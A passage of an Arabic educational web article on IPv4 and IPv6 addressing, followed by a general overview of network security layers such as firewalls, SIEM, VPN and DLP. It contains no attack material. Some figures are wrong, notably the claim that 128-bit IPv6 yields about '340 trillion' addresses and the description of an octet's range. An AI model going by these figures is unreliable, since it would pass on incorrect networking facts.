الإصدار السادس (IPv6): بدأت العديد من أجهزة الحاسوب باستخدامه، حيث يستخدم هذا الإصدار 128 بت لإنشاء عنوان فريد على شبكة الإنترنت، ويتم التعبير عنه من خلال ثماني مجموعات من الأرقام المكتوبة بالنظام الست عشري hexadecimal وتفصلها نقطتان رأسيتان، مثل (2001:cdba:0000:0000:0000:0000:3257:9652)، وفي معظم الأحيان يتم حذف مجموعات الأرقام التي تحتوي على الأصفار بهدف توفير المساحة.

ما هي مشكلات IPv4؟

يتكون عنوان (ipv4) من 32 بت (Bit) ويقسم على أربع خانات من الأرقام كل خانة تحتوي على رقم من 0 إلى 255 وبالتالي يكون مجموعهم 256 عنوان.

كل خانة من هذه الخانات تسمى (Octet) وهي ترمز للرقم 8، حيث الخانة الواحدة تحتوي 8 بت (Bit) فالخانة الواحدة تحتوي على أي رقم من 2^1 إلى 2^8

أي أنّ الشكل الرئيسي لعنوان الآي بي هو التالي : x.x.x.x حيث أن x يتغير من 0 الى 255. وذلك يسمح لنا بإمكان إعطاء عناوين لـ 4.3 مليار شخص تقريبا.

لكن مع تطور وسائل الاتصال وانتشار ثقافة الإنترنت حول العالم، تزايد أعداد دخول الأشخاص حول العالم بشكل كبير، مما أدى إلى نفاذ تلك العناوين، فكان لا بد من اكتشاف طريقة جديدة تتم العنونة عن طريقها، بحيث تعطينا مساحة أكبر من العناوين مع تزايد المستخدمين الذين يدخلون إلى شبكة الإنترنت يومياً.

ما هو IPv6؟

هو أحدث إصدارات بروتوكولات العنونة الشبكية، يستخدم الإصدار السابق من بروتوكول الإنترنت IPV4 عنوان مكون من 32 Bit لدعم ما يزيد عن 4.3 مليار جهاز لكن مع انتشار الإنترنت وتطوّره وتزايد عدد المستخدمين وأجهزة الحواسيب والهواتف المحمولة أصبحت الحاجة إلى المزيد من العناوين ملحة جداً، IPv6 يستخدم ثماني مجموعة كل منها مكوّنة من أربعة أرقام ست عشرية مما يتيح عدد أكبر من العناوين.

مميزات IPv6

يحتوي هذا الإصدار على تحسينات جديدة مقارنة بالإصدار الرابع (IPV4)، إذ يمكن لبروتوكول الإصدار السادس (IPV6) معالجة الحزم بشكل أكثر كفاءة. بالإضافة إلى إدخال مجموعة من التحسينات لزيادة الأداء والأمان.

تضمن هذا الإصدار مجموعة هامة من الميزات منها:

استخدام حقل (Flow Label) لتحديد تدفق الحزمة لدعم خاصية (QoS) في أجهزة الراوتر، ممَّا يسرّع التعامل مع جدول التوجيه.
يدعم حجم الحزمة 1280 بايت (دون تجزئة).
لا يحتوي على الملفات الاختبارية الموجودة في الإصدار السابق.
يدعم بروتوكول (IPSec) مما يزيد الأمان في الشبكة.

الفرق بين IPv4 وIPv6

يشترك كل من البروتوكولين بخصائص وبنية متشابهة كما أنّ (IPV6) يعتبر بديلاً ل (IPV4). لكن الفرق الأبرز والأوضح يكمن في أنه يتم تمثيل (IPV4) بواسطة أرقام مؤلفة من 32 بت (Bit)، ما يترجم إلى عدد يصل حتى 4.3 مليار من العناوين، بينما يتم تمثيل (IPV6) بواسطة 128 بت أي ما يعادل 340 تريليون عنوان.

طريقة العثور على عنوان IP الداخلي والخارجي

يتم العثور على عنوان IP الخارجي من خلال البحث ضمن محرك البحث غوغل عن “what’s my IP”، نتيجة البحث تظهر عنوان IP الخارجي في صفحة النتائج.

يتم العثور على عنوان IP الداخلي لأجهزة نظام ويندوز من خلال فتح سطر الأوامر cmd ثم كتابة التعليمة التالية:

ipconfig

عندها ستظهر مجموعة من المعلومات، من ضمنها عنوان IP حيث يعبر هذا العنوان عن IP داخلي.

أمن الشبكات Network Security

Sun, 18 Jul 2021 08:07:00 GMT

أمن الشبكات هو اتخاذ تدابير وقائية مادية وبرمجية لحماية البنية التحتية للشبكة من الوصول غير المصرح به وسوء الاستخدام والتلاعب بالبيانات أو تدميرها. يقوم على ثلاث مراحل: الحماية والاكتشاف والاستجابة، ويُطبَّق باستراتيجية الدفاع في العمق عبر طبقات مثل الجدران النارية وأمن البريد ومضادات الفيروسات وتقسيم الشبكة والتحكم بالوصول وIPS وSIEM وVPN.

إذا كنت اخصائي أمن معلومات فإن مهمتك الأساسية هي الحفاظ على أمان الشبكة عند المستوى الأمثل من خلال نشر وإعداد أدوات الحماية المناسبة لضمان مراقبة كل أنظمة المعلومات الخاصة بشركتك وتقيمها من الناحية الأمنية بشكل دائم والدفاع عنها بقوة أو إذا كنت اخصائي شبكات يجب أن تكون على دراية جيدة ليس فقط بتقنيات الشبكات ولكن بطرق الحماية الخاصة بها أيضاً ،أمن الشبكات أمر بالغ الأهمية، في هذا المقال سوف نناقش الأمور والمحاور الأساسية الخاصة بأمن وحماية الشبكات.

ما هو أمن الشبكات Network Security؟

أمن الشبكة: هو عملية اتخاذ تدابير وقائية مادية وبرمجية لحماية البنية التحتية للشبكة من الوصول الغير مصرح به أو سوء الاستخدام أو الأعطال أو التعديل أو التلاعب أو تدمير البيانات وبالتالي هي انشاء نظام آمن يطبق على كل من أجهزة الحاسب وأجهزة الشبكة والبرامج والمستخدمين للحصول على أداء فعال ضمن بيئة آمنة، أمن الشبكة هو أي نشاط هدفه حماية وسلامة الشبكة والبيانات والمعلومات ويشمل كل من:

الأجهزة والبرامج Hardware and Software
الدفاع ضد جميع أنواع التهديدات threats
منع الوصول الغير مصرح به للشبكة وإدارة عملية الوصول لجميع المصادر.

أمن الشبكة يجمع بين عدد من طبقات الحماية على أطراف الشبكة وداخلها وكل طبقة حماية تقوم بتطبيق سياسات وضوابط معينة يحصل من خلالها المستخدمون المصرح لهم بحق الوصول لمصادر الشبكة ويتم حظر الجهات الخبيثة ومنعها من تنفيذ عمليات التهديد أو الاستغلال.

على كل منظمة ترغب بتقديم الخدمات التي يطلبها العملاء أن تقوم بحماية شبكتها بشكل مناسب لتتم كل العمليات بشكل آمن، وبشكل عام يوجد ثلاث مراحل أساسية لتطبيق أمن الشبكة وهذه المراحل يجب أن تكون هي الإطار الأساسي لاستراتيجية عملك.

بشكل عملي فإن أمن الشبكة يتم من خلال الأمور التالية:

الحماية: يجب أن تقوم بإعداد وضبط الأنظمة والأجهزة بشكل صحيح قدر الإمكان.
الاكتشاف: يجب أن تكون قادر على تحديد أو اكتشاف أي تغيير في الضبط أو الاعدادات أو أي مشكلة أو نشاط غير اعتيادي ضمن حركة البيانات عبر الشبكة.
الاستجابة: بعد تحديد المشكلة يجب أن تتم عملية الاستجابة والمعالجة لها لتعود الأمور إلى الحالة الآمنة بأسرع وقت ممكن.

أمن الشبكة يجب أن يتم من خلال استراتيجية الدفاع في العمق defense in depth (سنقوم بشرحها في مقال قادم) إذا كان هناك أمر واحد متفق عليه بين كل خبراء أمن المعلومات فهو أن الاعتماد على خط دفاع واحد هو أمر خطير جداً لأن أي أداة دفاعية واحدة يمكن هزيمتها من قبل خصم مصمم.

كيف يمكنك تطبيق أمن الشبكة؟

لتطبيق استراتيجية الدفاع في العمق ستحتاج لتطبيق مجموعة متنوعة من الطرق والتقنيات المخصصة وهي:

1. الجدران النارية Firewalls

تشكل حاجز بين شبكتك الداخلية الموثوقة والشبكات الخارجية الغير موثوقة (شبكة الانترنت) ويتم ذلك من خلال تطبيق مجموعة من القواعد المحددة التي تسمح أو تمنع حركة البيانات، الجدار الناري يمكن ان يكون عبارة عن جهاز او برنامج أو كليهما تقدم العديد من الشركات أجهزة إدارة التهديدات الموحدة UTM أو جدران نارية من الجيل الجديد next-generation firewalls التي تركز على منع التهديدات.

2. أمن البريد الالكتروني

البريد الالكتروني يعتبر ناقل التهديدات الأخطر حيث يقوم المهاجم باستخدام أساليب الهندسة الاجتماعية للقيام بهجمات التصيد الالكتروني لخداع المستخدمين وارسالهم لمواقع مزورة تقدم برمجيات خبيثة، تطبيق أمن البريد الالكتروني يحظر الهجمات الالكترونية الواردة عبر البريد الالكتروني ويتحكم بالرسائل الواردة ويمنع تسريب البيانات الحساسة.

3. مضاد الفيروسات Anti Virus

يعمل على كشف ومنع البرمجيات الخبيثة Malware وهي اختصار ل Malicious Software (برمجية خبيثة) وتشمل كل من الفيروسات والديدان وأحصنة طروادة وبرامج الفدية وبرامج التجسس، في بعض الأحيان يتم إصابة الشبكة بنوع معين من البرمجيات الخبيثة ولكنها تبقى كامنة لأيام أو أسابيع قبل أن تبدأ عملها لذلك فإن مضاد الفيروسات الفعال يجب أن يكون قادر على تتبع الملفات باستمرار وليس فقط لحظة دخولها للشبكة وذلك للعثور على الحالات الشاذة أو النشاط الخبيث والقيام بإزالة هذه البرامج الضارة وإصلاح الضرر.

4. تقسيم الشبكة Network Segmentation

تقسيم الشبكة يسمح بوضع حركة البيانات ضمن تصنيفات مختلفة وهذا يسمح بتطبيق سياسات الأمان بشكل أفضل، تعتمد هذه التصنيفات على هوية النقطة النهائية أو المستخدم ويمكن تعيين حقوق الوصول بناء على الدور أو الموقع أو أمور أخرى بحيث يتم منح المستوى الصحيح من الوصول للأشخاص المناسبين ويتم احتواء الأجهزة المشبوهة ومعالجتها.

5. التحكم بالوصول Access Control

لا يجب أن يملك كل مستخدم حق الوصول إلى كامل موارد الشبكة، لمنع الهجمات نحتاج للتعرف على كل مستخدم وكل جهاز ومن ثم يمكن فرض سياسات الأمان الخاصة وحظر الأجهزة الغير متوافقة أو منحها وصول محدود فقط هذه العملية تسمى التحكم بالوصول للشبكة NAC – Network Access Control

6. أمن التطبيقات Application Security

أي برنامج تقوم باستخدامه للقيام بعملك يجب أن يكون آمن سواء قام فريق خاص لديك بتطويره او قمت بشرائه، قد يحوي التطبيق على ثغرات أو نقاط ضعف تسمح للمهاجمين باستغلالها للوصول للشبكة ويشمل أمن التطبيقات كل من الأجهزة والبرامج والعمليات الخاصة بها.

7. تحليل السلوك Behavior Analysis

لاكتشاف السلوك المشبوه يجب أولاً أن نعرف ما هو السلوك الطبيعي، أدوات تحليل السلوك تميز تلقائياً الأنشطة التي تخرج عن القاعدة وهذا يسمح لفريق الحماية بتحديد مؤشرات الاختراق التي تطرح مشكلة محتملة لمعالجة التهديدات بأسرع وقت ممكن.

8. تقنيات منع فقدان البيانات Data Loss Prevention

يجب على المنظمات التأكد من أن موظفيها لا يرسلون معلومات حساسة خارج الشبكة، يمكن لتقنيات منع فقدان البيانات DLP أن تمنع الأشخاص من رفع أو تحميل المعلومات المهمة أو إعادة توجيهها أو حتى طباعتها بشكل غير آمن.

9. أنظمة منع الاختراق IPS – Intrusion Prevention System

يقوم نظام منع الاختراق IPS بفحص حركة البيانات عبر الشبكة لمنع الهجمات بشكل فعال وحظر النشاط الضار.

10. أمن أجهزة الموبايل

يستهدف المهاجمون بشكل متزايد الأجهزة المحمولة والتطبيقات الخاصة بها بالطبع أنت بحاجة إلى التحكم بالأجهزة المحمولة التي يمكنها الوصول إلى الشبكة وبحاجة لتقوم بضبط وإعداد اتصالاتهم للحفاظ على أمان حركة البيانات عبر الشبكة.

11. أنظمة إدارة المعلومات والأحداث الأمنية SIEM

SIEM – Security Information and Event Management

عبارة عن نظام مركزي يتم فيه تجميع الأحداث والتنبيهات الأمنية من مختلف الأجهزة والأنظمة والتقنيات الموجودة ضمن البنية التحتية الخاصة بالشبكة وذلك لمراقبتها وتحليلها ضمن مكان واحد الأمر الذي يسهل عملية مراقبة الشبكة بكل ما فيها من أجهزة وأنظمة واكتشاف أي أعمال مشبوهة قد تحدث داخلها وربط السجلات من أكثر من جهاز وتقنية مع بعضها البعض لتحديد الهجمات المحتملة والاستجابة لها.

12. الشبكات الخاصة الافتراضية VPN

VPN – Virtual Private Network

تسمح لجهازين متصلين عبر شبكة عامة مثل الانترنت بتبادل البيانات الخاصة مع بعضهم البعض عبر قناة اتصال مشفرة وقد يتواجد الجهازين في شبكة محلية أو عبر شبكة متباعدة باختصار فإن الشبكة الخاصة الافتراضية هي اتصال شبكي خاص يتم عبر شبكة عامة ضمن قناة اتصال مشفرة كما انها تسمح بإنشاء اتصال مشفر بين مجموعة من المستخدمين مفصولين عن بقية مستخدمي الشبكة وتسمح بتقديم مجموعة من الوظائف أو الخدمات ومن الممكن تطبيقها باستعمال تقنيات ومعايير مختلفة وتستخدم تقنيات تشفير مختلفة بالإضافة لتقنيات متنوعة للتحقق من الهوية.

13. أمن الويب

حلول وتقنيات حماية تطبيقات الويب تؤمن حل آمن لاستخدام الويب وتمنع التهديدات والوصول الي المواقع الضارة وتحمي تطبيقات الويب وتطبيقات الحوسبة السحابية من الهجمات المحتملة وهذا المصطلح يشير أيضاً إلى الخطوات المتخذة لحماية موقع الويب الخاص بالشركة.

14. أمن الشبكات اللاسلكية

الشبكات اللاسلكية ليست آمنة مثل الشبكات السلكية وبدون اتخاذ إجراءات أمنية صارمة ستكون المعلومات المتبادلة عبر الشبكات اللاسلكية غير آمنة ،سنتحدث في مقال قادم عن التقنيات والتجهيزات المستخدم لحماية الشبكات اللاسلكية بشكل مفصل.

المهارات المطلوبة في أمن الشبكات

إدارة الأنظمة والتجهيزات والبرامج واكتشاف الأخطاء وإصلاحها.
تقييم المشاكل الأمنية ومراقبة الشبكات وحركة البيانات عبرها.
التخطيط والتطبيق لإجراءات وتدابير الحماية وتثبيت برامج الحماية لاكتشاف أي انتهاك أو خرق أمني.
إدارة سلوك الموظفين فيما يتعلق بأمن المعلومات.
اكتشاف الثغرات وتحليلها وإجراء عمليات اختبار الاختراق.
إعداد وضبط الجدار الناري وأجهزة الحماية الأخرى بشكل فعال.

يوجد العديد من الطبقات التي يجب مراعاتها عند التعامل مع أمن الشبكات للمؤسسات لأن الهجمات ممكن ان تحدث في أي طبقة من طبقات الشبكة لذلك يجب إعداد أجهزة وبرامج سياسات الحماية لمعالجة كل منطقة ضمن الشبكة.

يجب أن لا ننسى أبداً أن الأشخاص والعمليات لا تقل أهمية عن تقنيات وأجهزة حماية الشبكة لا تصدق أبداً أن الأجهزة او تقنيات الحماية كافية بحد ذاتها لذلك يجب توعية وتدريب الموظفين أمنياً وتطبيق الضوابط والسياسات الأمنية بشكل دائم.